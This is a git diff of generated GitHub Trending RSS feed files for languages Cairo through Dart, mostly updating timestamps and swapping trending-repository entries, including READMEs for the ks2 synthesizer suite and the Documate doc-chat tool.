No newline at end of file diff --git a/cairo/daily/index.xml b/cairo/daily/index.xml index fdef21bfd2a..874154fe667 100644 --- a/cairo/daily/index.xml +++ b/cairo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cairo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:08Z + 2023-09-20T01:26:18Z Daily Trending of Cairo in GitHub \ No newline at end of file diff --git a/cap'n-proto/daily/index.xml b/cap'n-proto/daily/index.xml index 6056cc4f520..e8f1ec45cd4 100644 --- a/cap'n-proto/daily/index.xml +++ b/cap'n-proto/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cap'n Proto Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:11Z + 2023-09-20T01:26:23Z Daily Trending of Cap'n Proto in GitHub \ No newline at end of file diff --git a/cartocss/daily/index.xml b/cartocss/daily/index.xml index f9bc0a8933a..8284e95098f 100644 --- a/cartocss/daily/index.xml +++ b/cartocss/daily/index.xml @@ -1,7 +1,7 @@ GitHub CartoCSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:10Z + 2023-09-20T01:26:22Z Daily Trending of CartoCSS in GitHub \ No newline at end of file diff --git a/ceylon/daily/index.xml b/ceylon/daily/index.xml index 05032b579a1..a1eb6403fce 100644 --- a/ceylon/daily/index.xml +++ b/ceylon/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ceylon Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:10Z + 2023-09-20T01:26:20Z Daily Trending of Ceylon in GitHub \ No newline at end of file diff --git a/chapel/daily/index.xml b/chapel/daily/index.xml index 6072360f411..08dece54eea 100644 --- a/chapel/daily/index.xml +++ b/chapel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Chapel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:12Z + 2023-09-20T01:26:19Z Daily Trending of Chapel in GitHub \ No newline at end of file diff --git a/charity/daily/index.xml b/charity/daily/index.xml index 86a890f9c58..557cb462438 100644 --- a/charity/daily/index.xml +++ b/charity/daily/index.xml @@ -1,7 +1,7 @@ GitHub Charity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:14Z + 2023-09-20T01:26:25Z Daily Trending of Charity in GitHub \ No newline at end of file diff --git a/chuck/daily/index.xml b/chuck/daily/index.xml index 55ed21ccb38..d6a2ccef176 100644 --- a/chuck/daily/index.xml +++ b/chuck/daily/index.xml @@ -1,7 +1,7 @@ GitHub ChucK Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:14Z + 2023-09-20T01:26:27Z Daily Trending of ChucK in GitHub \ No newline at end of file diff --git a/cil/daily/index.xml b/cil/daily/index.xml index a075ad6714a..42b5159363a 100644 --- a/cil/daily/index.xml +++ b/cil/daily/index.xml @@ -1,7 +1,7 @@ GitHub CIL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:15Z + 2023-09-20T01:26:26Z Daily Trending of CIL in GitHub \ No newline at end of file diff --git a/cirru/daily/index.xml b/cirru/daily/index.xml index 93f67ab2740..bae031b0913 100644 --- a/cirru/daily/index.xml +++ b/cirru/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cirru Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:19Z + 2023-09-20T01:26:33Z Daily Trending of Cirru in GitHub \ No newline at end of file diff --git a/clarion/daily/index.xml b/clarion/daily/index.xml index dd427630188..bec88abe42a 100644 --- a/clarion/daily/index.xml +++ b/clarion/daily/index.xml @@ -1,7 +1,7 @@ GitHub Clarion Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:17Z + 2023-09-20T01:26:30Z Daily Trending of Clarion in GitHub \ No newline at end of file diff --git a/clarity/daily/index.xml b/clarity/daily/index.xml index 02de4710677..a53e2b3c4d2 100644 --- a/clarity/daily/index.xml +++ b/clarity/daily/index.xml @@ -1,7 +1,7 @@ GitHub Clarity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:20Z + 2023-09-20T01:26:31Z Daily Trending of Clarity in GitHub \ No newline at end of file diff --git a/classic-asp/daily/index.xml b/classic-asp/daily/index.xml index 45229eeab14..cac2f166d5e 100644 --- a/classic-asp/daily/index.xml +++ b/classic-asp/daily/index.xml @@ -1,7 +1,7 @@ GitHub Classic ASP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:21Z + 2023-09-20T01:26:37Z Daily Trending of Classic ASP in GitHub \ No newline at end of file diff --git a/clean/daily/index.xml b/clean/daily/index.xml index 501027ebcf1..4fe599efa1c 100644 --- a/clean/daily/index.xml +++ b/clean/daily/index.xml @@ -1,7 +1,7 @@ GitHub Clean Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:22Z + 2023-09-20T01:26:38Z Daily Trending of Clean in GitHub \ No newline at end of file diff --git a/click/daily/index.xml b/click/daily/index.xml index 1ff80edbe6d..1c5f9955c0b 100644 --- a/click/daily/index.xml +++ b/click/daily/index.xml @@ -1,7 +1,7 @@ GitHub Click Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:23Z + 2023-09-20T01:26:36Z Daily Trending of Click in GitHub \ No newline at end of file diff --git a/clips/daily/index.xml b/clips/daily/index.xml index b884ecd718e..ce2a7f18d2a 100644 --- a/clips/daily/index.xml +++ b/clips/daily/index.xml @@ -1,7 +1,7 @@ GitHub CLIPS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:24Z + 2023-09-20T01:26:35Z Daily Trending of CLIPS in GitHub \ No newline at end of file diff --git a/clojure/daily/index.xml b/clojure/daily/index.xml index 18a989a0f26..bd395bccacc 100644 --- a/clojure/daily/index.xml +++ b/clojure/daily/index.xml @@ -1,14 +1,14 @@ GitHub Clojure Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:28Z + 2023-09-20T01:26:44Z Daily Trending of Clojure in GitHub - donut-party/hooked - 2023-09-19T01:26:28Z - tag:github.com,2023-09-19:/donut-party/hooked - - <p>this time hooks will work</p><hr> + otaviomacedo/sicp + 2023-09-20T01:26:44Z + tag:github.com,2023-09-20:/otaviomacedo/sicp + + <p>Exercises from "Structure and Interpretation of Computer Programs"</p><hr> \ No newline at end of file diff --git a/closure-templates/daily/index.xml b/closure-templates/daily/index.xml index a0c30b6bbc5..b0b9545a542 100644 --- a/closure-templates/daily/index.xml +++ b/closure-templates/daily/index.xml @@ -1,7 +1,7 @@ GitHub Closure Templates Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:26Z + 2023-09-20T01:26:39Z Daily Trending of Closure Templates in GitHub \ No newline at end of file diff --git a/cloud-firestore-security-rules/daily/index.xml b/cloud-firestore-security-rules/daily/index.xml index 89ad3974bbd..5935b6b9178 100644 --- a/cloud-firestore-security-rules/daily/index.xml +++ b/cloud-firestore-security-rules/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cloud Firestore Security Rules Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:25Z + 2023-09-20T01:26:41Z Daily Trending of Cloud Firestore Security Rules in GitHub \ No newline at end of file diff --git a/cmake/daily/index.xml b/cmake/daily/index.xml index 1d318339978..1c88f82fabe 100644 --- a/cmake/daily/index.xml +++ b/cmake/daily/index.xml @@ -1,14 +1,7 @@ GitHub CMake Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:31Z + 2023-09-20T01:26:47Z Daily Trending of CMake in GitHub - - kmpchk/cpp-assignment-template - 2023-09-19T01:26:31Z - tag:github.com,2023-09-19:/kmpchk/cpp-assignment-template - - <p></p><hr> - \ No newline at end of file diff --git a/cobol/daily/index.xml b/cobol/daily/index.xml index 86fe63a506c..c8f7313ec6d 100644 --- a/cobol/daily/index.xml +++ b/cobol/daily/index.xml @@ -1,7 +1,7 @@ GitHub COBOL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:34Z + 2023-09-20T01:26:49Z Daily Trending of COBOL in GitHub \ No newline at end of file diff --git a/codeowners/daily/index.xml b/codeowners/daily/index.xml index 9c2be169755..5391e33ed23 100644 --- a/codeowners/daily/index.xml +++ b/codeowners/daily/index.xml @@ -1,7 +1,7 @@ GitHub CODEOWNERS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:33Z + 2023-09-20T01:26:51Z Daily Trending of CODEOWNERS in GitHub \ No newline at end of file diff --git a/codeql/daily/index.xml b/codeql/daily/index.xml index 04dd8d28e19..9870b71f1ec 100644 --- a/codeql/daily/index.xml +++ b/codeql/daily/index.xml @@ -1,7 +1,7 @@ GitHub CodeQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:35Z + 2023-09-20T01:26:50Z Daily Trending of CodeQL in GitHub \ No newline at end of file diff --git a/coffeescript/daily/index.xml b/coffeescript/daily/index.xml index 0a8efb7e9b6..7b2d72e4ea8 100644 --- a/coffeescript/daily/index.xml +++ b/coffeescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub CoffeeScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:37Z + 2023-09-20T01:26:54Z Daily Trending of CoffeeScript in GitHub \ No newline at end of file diff --git a/coldfusion-cfc/daily/index.xml b/coldfusion-cfc/daily/index.xml index fe60cc74e44..065156fc832 100644 --- a/coldfusion-cfc/daily/index.xml +++ b/coldfusion-cfc/daily/index.xml @@ -1,7 +1,7 @@ GitHub ColdFusion CFC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:39Z + 2023-09-20T01:26:58Z Daily Trending of ColdFusion CFC in GitHub \ No newline at end of file diff --git a/coldfusion/daily/index.xml b/coldfusion/daily/index.xml index a0b8283881a..d8c2d291af3 100644 --- a/coldfusion/daily/index.xml +++ b/coldfusion/daily/index.xml @@ -1,7 +1,7 @@ GitHub ColdFusion Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:39Z + 2023-09-20T01:26:56Z Daily Trending of ColdFusion in GitHub \ No newline at end of file diff --git a/collada/daily/index.xml b/collada/daily/index.xml index f185d4cdaa2..6c9fa4f31b9 100644 --- a/collada/daily/index.xml +++ b/collada/daily/index.xml @@ -1,7 +1,7 @@ GitHub COLLADA Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:38Z + 2023-09-20T01:26:55Z Daily Trending of COLLADA in GitHub \ No newline at end of file diff --git a/common-lisp/daily/index.xml b/common-lisp/daily/index.xml index 1510452d2e8..787a60fde66 100644 --- a/common-lisp/daily/index.xml +++ b/common-lisp/daily/index.xml @@ -1,14 +1,7 @@ GitHub Common Lisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:41Z + 2023-09-20T01:26:59Z Daily Trending of Common Lisp in GitHub - - kjcjohnson/ks2-mono - 2023-09-19T01:26:41Z - tag:github.com,2023-09-19:/kjcjohnson/ks2-mono - - <p>Mono repository aggregating all of ks2 and dependencies</p><hr><h1>The ks2 synthesizer suite</h1> <p>Mono repository aggregating all of ks2 and dependencies</p> <h2>Installation Instructions</h2> <ol> <li> <p>Download the package for your operating system from <a href="https://github.com/kjcjohnson/ks2-mono/releases/latest">the latest release</a>. Currently, ks2 depends on <a href="https://github.com/cvc5/cvc5">cvc5</a> (optional: required for problems that need an SMT solver) and the <a href="https://github.com/SemGuS-git/Semgus-Parser">SemGuS Parser</a> (optional: required to accept the native SemGuS benchmark format). Choose <code>bin+parser</code> for a package with ks2 and the SemGuS Parser, <code>bin+all</code> for ks, cvc5 (non-GPL), and the SemGuS Parser, or just the <code>bin</code> package if you already have the SemGuS Parser and cvc5 installed and in your <code>PATH</code>.</p> </li> <li> <p>Unzip the archive</p> </li> </ol> <p>Note that the Linux release requires a recent version of <code>glibc</code>: it will probably run on Ubuntu 22.04 LTS, but not on Ubuntu 20.04 LTS.</p> <h2>Running the ks2 synthesizer suite</h2> <p><a href="https://raw.githubusercontent.com/kjcjohnson/ks2-mono/main/ks2.md">Full command documentation is available here.</a></p> <pre><code>NAME: ks2 - the ks2 synthesizer suite USAGE: ks2 [global-options] [&lt;command&gt;] [command-options] [arguments ...] OPTIONS: --debug enables extra debugging information [env: $KS2_DEBUG] --help display usage information and exit --version display version and exit COMMANDS: solve solves an individual synthesis problem benchmark benchmarks solvers against problem suites report generate reports from benchmark data files LICENSE: MIT Available solvers: bottom-up-enum (alias: enum), top-down-enum (alias: tde), random </code></pre> <p>To solve a problem file:</p> <pre><code>NAME: ks2 solve - solves an individual synthesis problem USAGE: ks2 solve [options] [benchmark] OPTIONS: --help display usage information and exit --version display version and exit -c, --core &lt;VALUE&gt; core to use [env: $KS2_CORE] -s, --solver &lt;VALUE&gt; solver to use [env: $KS2_SOLVER] </code></pre> <p>Normally, just call with a solver and a benchmark file:</p> <pre><code>./ks2 solve -s tde path/to/benchmark.sem </code></pre> <p>The ks2 synthesize suite natively accepts SemGuS benchmarks in the declarative S-expression intermediate format (not SMT-LIB2 encoded), but it will automatically invoke the SemGuS Parser on benchmarks with <code>.sem</code>, <code>.sl</code>, and <code>.smt</code> extensions.</p> <h2>Output Format</h2> <p>A successful benchmark run will output a result block like the following, unless quiet mode is enabled:</p> <pre><code>; RESULT: $pair($leaf($name5),$leaf($name6)) ; TIME: 1.00s ; MAX MEM OFFSET: 0.017MiB ; PPS: 185.81prog/s </code></pre> <p>Note the following points:</p> <ul> <li>The maximum memory offset is the peak memory usage above the baseline usage before solving a problem</li> <li>The programs per second (PPS) measures how many candidate programs were executed per second on average during solving</li> </ul> <p>Solving benchmarks can either fail with an internal solver error or a core crash. Core crashes are common and expected, and they generally indicate that the solver process ran out of memory.</p> <p>In addition, a result in SMT-LIB format will be output:</p> <pre><code class="language-lisp">( (define-fun fun () T ($pair ($leaf $name5) ($leaf $name6))) ) </code></pre> <p>Other options might be the symbols <code>unrealizable</code>, <code>timeout</code>, or <code>error</code>.</p> <h2>Caveats</h2> <p>This tool is currently an experimental preview and may be unstable. All parts are subject to change in the future. Do not attempt to script this tool; command line arguments and output formats will change in the future.</p> <p>Note that there is currently a hard-coded timeout of two minutes.</p> <p>Feel free to submit issues and enhancements <a href="https://github.com/kjcjohnson/ks2-mono/issues">on this repository</a>, and they will be triaged to the appropriate projects. For reporting issues, please provide:</p> <ul> <li>Solver output, run with the <code>--debug</code> flag</li> <li>Benchmark file</li> <li>Operating system and version</li> </ul> <h2>Other Information</h2> <p>This project optionally bundles <a href="https://github.com/cvc5/cvc5">cvc5</a>. See <code>cvc5.COPYING</code> in this repository for license and legal information.</p> - \ No newline at end of file diff --git a/common-workflow-language/daily/index.xml b/common-workflow-language/daily/index.xml index c4f4a35f794..73ae59a0592 100644 --- a/common-workflow-language/daily/index.xml +++ b/common-workflow-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Common Workflow Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:44Z + 2023-09-20T01:27:05Z Daily Trending of Common Workflow Language in GitHub \ No newline at end of file diff --git a/component-pascal/daily/index.xml b/component-pascal/daily/index.xml index 8e69897da52..08e2c7a3e94 100644 --- a/component-pascal/daily/index.xml +++ b/component-pascal/daily/index.xml @@ -1,7 +1,14 @@ GitHub Component Pascal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:45Z + 2023-09-20T01:27:04Z Daily Trending of Component Pascal in GitHub + + ik5/fp-msgpack + 2023-09-20T01:27:04Z + tag:github.com,2023-09-20:/ik5/fp-msgpack + + <p>Pure native Object Pascal implementation for msgpack</p><hr> + \ No newline at end of file diff --git a/conll-u/daily/index.xml b/conll-u/daily/index.xml index 01722e54946..46d876d57c4 100644 --- a/conll-u/daily/index.xml +++ b/conll-u/daily/index.xml @@ -1,7 +1,7 @@ GitHub CoNLL-U Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:46Z + 2023-09-20T01:27:07Z Daily Trending of CoNLL-U in GitHub \ No newline at end of file diff --git a/cool/daily/index.xml b/cool/daily/index.xml index d021e122764..9922e5efb54 100644 --- a/cool/daily/index.xml +++ b/cool/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cool Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:44Z + 2023-09-20T01:27:03Z Daily Trending of Cool in GitHub \ No newline at end of file diff --git a/coq/daily/index.xml b/coq/daily/index.xml index eb024f5e560..0250bc3b9b9 100644 --- a/coq/daily/index.xml +++ b/coq/daily/index.xml @@ -1,14 +1,7 @@ GitHub Coq Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:48Z + 2023-09-20T01:27:09Z Daily Trending of Coq in GitHub - - mit-plv/coqutil - 2023-09-19T01:26:48Z - tag:github.com,2023-09-19:/mit-plv/coqutil - - <p>Coq library for tactics, basic definitions, sets, maps</p><hr> - \ No newline at end of file diff --git a/cpp-objdump/daily/index.xml b/cpp-objdump/daily/index.xml index a07a92956ee..249fa1ab0de 100644 --- a/cpp-objdump/daily/index.xml +++ b/cpp-objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cpp-ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:51Z + 2023-09-20T01:27:10Z Daily Trending of Cpp-ObjDump in GitHub \ No newline at end of file diff --git a/creole/daily/index.xml b/creole/daily/index.xml index c3d8911791e..7d2e965dddc 100644 --- a/creole/daily/index.xml +++ b/creole/daily/index.xml @@ -1,7 +1,7 @@ GitHub Creole Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:50Z + 2023-09-20T01:27:08Z Daily Trending of Creole in GitHub \ No newline at end of file diff --git a/crystal/daily/index.xml b/crystal/daily/index.xml index ba96fd39534..5cb4efed560 100644 --- a/crystal/daily/index.xml +++ b/crystal/daily/index.xml @@ -1,7 +1,7 @@ GitHub Crystal Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:49Z + 2023-09-20T01:27:12Z Daily Trending of Crystal in GitHub \ No newline at end of file diff --git a/cson/daily/index.xml b/cson/daily/index.xml index d701c64b2cb..4ae149ab85b 100644 --- a/cson/daily/index.xml +++ b/cson/daily/index.xml @@ -1,7 +1,7 @@ GitHub CSON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:52Z + 2023-09-20T01:27:17Z Daily Trending of CSON in GitHub \ No newline at end of file diff --git a/csound-document/daily/index.xml b/csound-document/daily/index.xml index f7b02e16f89..b9314891c8d 100644 --- a/csound-document/daily/index.xml +++ b/csound-document/daily/index.xml @@ -1,7 +1,7 @@ GitHub Csound Document Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:54Z + 2023-09-20T01:27:16Z Daily Trending of Csound Document in GitHub \ No newline at end of file diff --git a/csound-score/daily/index.xml b/csound-score/daily/index.xml index d7829dbcd07..f73eb11fc26 100644 --- a/csound-score/daily/index.xml +++ b/csound-score/daily/index.xml @@ -1,7 +1,7 @@ GitHub Csound Score Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:53Z + 2023-09-20T01:27:13Z Daily Trending of Csound Score in GitHub \ No newline at end of file diff --git a/csound/daily/index.xml b/csound/daily/index.xml index e89cb8af875..db6617d6324 100644 --- a/csound/daily/index.xml +++ b/csound/daily/index.xml @@ -1,7 +1,7 @@ GitHub Csound Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:55Z + 2023-09-20T01:27:15Z Daily Trending of Csound in GitHub \ No newline at end of file diff --git a/css/daily/index.xml b/css/daily/index.xml index 39a775ffb29..19c6e02b1c2 100644 --- a/css/daily/index.xml +++ b/css/daily/index.xml @@ -1,14 +1,21 @@ GitHub CSS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:02Z + 2023-09-20T01:27:27Z Daily Trending of CSS in GitHub - thundercoding07/Smoke-Effect-on-Your-Name-CSS-Animation - 2023-09-19T01:27:02Z - tag:github.com,2023-09-19:/thundercoding07/Smoke-Effect-on-Your-Name-CSS-Animation - - <p></p><hr><h1>Smoke-Effect-on-Your-Name-CSS-Animation</h1> + AirCodeLabs/documate + 2023-09-20T01:27:27Z + tag:github.com,2023-09-20:/AirCodeLabs/documate + + <p>Embed AI chat dialog into your doc site to answer user questions based on your own content.</p><hr><p align="center"> <a href="https://documate.site"> <picture> <img src="https://user-images.githubusercontent.com/1651946/268347316-23ca9837-f48b-4f0d-9c24-38a5b474de03.png"> </picture> </a></p> <h1 align="center"><a href="https://documate.site">Documate</a></h1> <a href="https://documate.site"> </a> <p align="center"> <a href="https://documate.site">Website</a> <span> · </span> <a href="https://discord.gg/YhypQrZBu5">Discord</a> <span> · </span> <a href="https://github.com/AirCodeLabs/documate/discussions">Discussions</a> </p> <p></p> <p>Documate is an open-source tool designed to seamlessly embed AI chat dialog into your documentation site. It uses your content to generate real-time answers to user questions, effectively acting as a "ChatGPT" for your platform.</p> <ul> <li><strong>Hassle-free integration</strong> - Easily integrate with VitePress, Docusaurus, Docsify, and any other doc sites, no AI or LLM knowledge required.</li> <li><strong>Fully controllable</strong> - You own the code, you own your data, you choose which content to index.</li> <li><strong>Fully customizable</strong> - Come with a finely-tuned UI that's fully customizable to cater to your specific needs.</li> </ul> <h2>Getting Started</h2> <p>Visit <a href="https://documate.site">https://documate.site</a> to get started.</p> <p>This site also serves as a demo showcasing what Documate can achieve for you.</p> <h2>Examples</h2> <p>Browse the <a href="https://raw.githubusercontent.com/AirCodeLabs/documate/main/examples/">examples directory</a> for code samples. Each example can be used as a headless template to kickstart a project featuring Documate.</p> <h2>Community</h2> <p>For help, voice ideas, or discussion about best practices:</p> <p><a href="https://github.com/aircodelabs/documate/discussions">Discuss Documate on GitHub Discussions</a></p> <p>To chat with other community members:</p> <p><a href="https://discord.gg/YhypQrZBu5">Join the Documate Discord</a></p> <h2>Contributing</h2> <p>See <a href="https://raw.githubusercontent.com/AirCodeLabs/documate/main/CONTRIBUTING.md">CONTRIBUTING.md</a> for more information.</p> <h2>Authors</h2> <ul> <li>Adcent Lei (<a href="https://twitter.com/adcentlei">@adcentlei</a>)</li> <li>Kevin Wu (<a href="https://twitter.com/0xinhua">@0xinhua</a>)</li> </ul> <h2>Star History</h2> <a href="https://star-history.com/#aircodelabs/documate&amp;Date"> <picture> <source media="(prefers-color-scheme: dark)" srcset="https://api.star-history.com/svg?repos=aircodelabs/documate&amp;type=Date&amp;theme=dark"> <source media="(prefers-color-scheme: light)" srcset="https://api.star-history.com/svg?repos=aircodelabs/documate&amp;type=Date"> <img alt="Star History Chart" src="https://api.star-history.com/svg?repos=aircodelabs/documate&amp;type=Date"> </picture> </a> + + + serverwentdown/thebunniesinc + 2023-09-20T01:27:27Z + tag:github.com,2023-09-20:/serverwentdown/thebunniesinc + + <p>[INCOMPLETE] The Bunnies, Inc.</p><hr><h1><a href="http://ambrosechua.github.com/thebunniesinc">The Bunnies, Inc. </a> (discontinued, feel free to steal)</h1> <p><strong>WARNING</strong> Game is not playable. Proceed at your own risk.</p> <h2>Description</h2> <ul> <li>A HTML5 and CSS3 game built with jQuery, G. Maps API and Canvas Element.</li> </ul> <a href="http://www.w3.org/html/logo/"> <img src="http://www.w3.org/html/logo/badge/html5-badge-h-css3-graphics-storage.png" width="197" height="64" alt="HTML5 Powered with CSS3 / Styling, Graphics, 3D &amp; Effects, and Offline &amp; Storage" title="HTML5 Powered with CSS3 / Styling, Graphics, 3D &amp; Effects, and Offline &amp; Storage"> </a> <blockquote> <p>All the bunnies in the world have turned evil after Dr. Evil Bunny caused an mysterious explosion. All, except you, the last bunny standing. Your mission: get into Dr. Evil Bunny's lab while avoiding the evil bunnies (and at worst killing them) and till then, to be continued...</p> </blockquote> <h2>License</h2> <ul> <li>MIT see <a href="https://github.com/ambrosechua/thebunniesinc/raw/master/LICENSE.md">LICENSE.md</a></li> </ul> \ No newline at end of file diff --git a/csv/daily/index.xml b/csv/daily/index.xml index d49cd82c4a2..ea367827e33 100644 --- a/csv/daily/index.xml +++ b/csv/daily/index.xml @@ -1,7 +1,7 @@ GitHub CSV Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:57Z + 2023-09-20T01:27:19Z Daily Trending of CSV in GitHub \ No newline at end of file diff --git a/cuda/daily/index.xml b/cuda/daily/index.xml index 63fd25c116b..4f34a401467 100644 --- a/cuda/daily/index.xml +++ b/cuda/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cuda Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:59Z + 2023-09-20T01:27:22Z Daily Trending of Cuda in GitHub \ No newline at end of file diff --git a/cue/daily/index.xml b/cue/daily/index.xml index 48139e030ca..19ccffb48ae 100644 --- a/cue/daily/index.xml +++ b/cue/daily/index.xml @@ -1,7 +1,7 @@ GitHub CUE Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:26:56Z + 2023-09-20T01:27:20Z Daily Trending of CUE in GitHub \ No newline at end of file diff --git a/curl-config/daily/index.xml b/curl-config/daily/index.xml index d6eb3a370b5..c672ea64012 100644 --- a/curl-config/daily/index.xml +++ b/curl-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub cURL Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:11Z + 2023-09-20T01:27:37Z Daily Trending of cURL Config in GitHub \ No newline at end of file diff --git a/curry/daily/index.xml b/curry/daily/index.xml index 561e576db63..63b13c2402a 100644 --- a/curry/daily/index.xml +++ b/curry/daily/index.xml @@ -1,7 +1,7 @@ GitHub Curry Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:10Z + 2023-09-20T01:27:34Z Daily Trending of Curry in GitHub \ No newline at end of file diff --git a/cweb/daily/index.xml b/cweb/daily/index.xml index 82c2978cf23..22b064d1222 100644 --- a/cweb/daily/index.xml +++ b/cweb/daily/index.xml @@ -1,7 +1,7 @@ GitHub CWeb Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:09Z + 2023-09-20T01:27:38Z Daily Trending of CWeb in GitHub \ No newline at end of file diff --git a/cycript/daily/index.xml b/cycript/daily/index.xml index b8eccf359d0..1a926873414 100644 --- a/cycript/daily/index.xml +++ b/cycript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cycript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:12Z + 2023-09-20T01:27:39Z Daily Trending of Cycript in GitHub \ No newline at end of file diff --git a/cython/daily/index.xml b/cython/daily/index.xml index 6faf1a8c189..40a5f8a475f 100644 --- a/cython/daily/index.xml +++ b/cython/daily/index.xml @@ -1,7 +1,7 @@ GitHub Cython Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:13Z + 2023-09-20T01:27:41Z Daily Trending of Cython in GitHub \ No newline at end of file diff --git a/d-objdump/daily/index.xml b/d-objdump/daily/index.xml index aea9ad07fd1..7cccbdcc3a8 100644 --- a/d-objdump/daily/index.xml +++ b/d-objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub D-ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:18Z + 2023-09-20T01:27:49Z Daily Trending of D-ObjDump in GitHub \ No newline at end of file diff --git a/d/daily/index.xml b/d/daily/index.xml index 35d749e2cb0..2884fe60966 100644 --- a/d/daily/index.xml +++ b/d/daily/index.xml @@ -1,7 +1,14 @@ GitHub D Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:16Z + 2023-09-20T01:27:44Z Daily Trending of D in GitHub + + liamesler/viconia + 2023-09-20T01:27:44Z + tag:github.com,2023-09-20:/liamesler/viconia + + <p>Viconia friendship mod for Baldur's Gate II: Shadows of Amn and Throne of Bhaal.</p><hr> + \ No newline at end of file diff --git a/dafny/daily/index.xml b/dafny/daily/index.xml index cf86e57932d..7c6b460c10e 100644 --- a/dafny/daily/index.xml +++ b/dafny/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dafny Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:17Z + 2023-09-20T01:27:46Z Daily Trending of Dafny in GitHub \ No newline at end of file diff --git a/darcs-patch/daily/index.xml b/darcs-patch/daily/index.xml index 24c82e0240d..482d83b01ff 100644 --- a/darcs-patch/daily/index.xml +++ b/darcs-patch/daily/index.xml @@ -1,7 +1,7 @@ GitHub Darcs Patch Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:19Z + 2023-09-20T01:27:48Z Daily Trending of Darcs Patch in GitHub \ No newline at end of file diff --git a/dart/daily/index.xml b/dart/daily/index.xml index b4b1ce5e613..e08dc85a5bf 100644 --- a/dart/daily/index.xml +++ b/dart/daily/index.xml @@ -1,21 +1,21 @@ GitHub Dart Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:25Z + 2023-09-20T01:27:56Z Daily Trending of Dart in GitHub - nicolastinkl/UUVPN - 2023-09-19T01:27:25Z - tag:github.com,2023-09-19:/nicolastinkl/UUVPN - - <p>基于Flutter开发的VPN客户端(ios/android),自主设计,精美UI,优化VPN速度,完全开源。</p><hr><h1>UUVPN</h1> 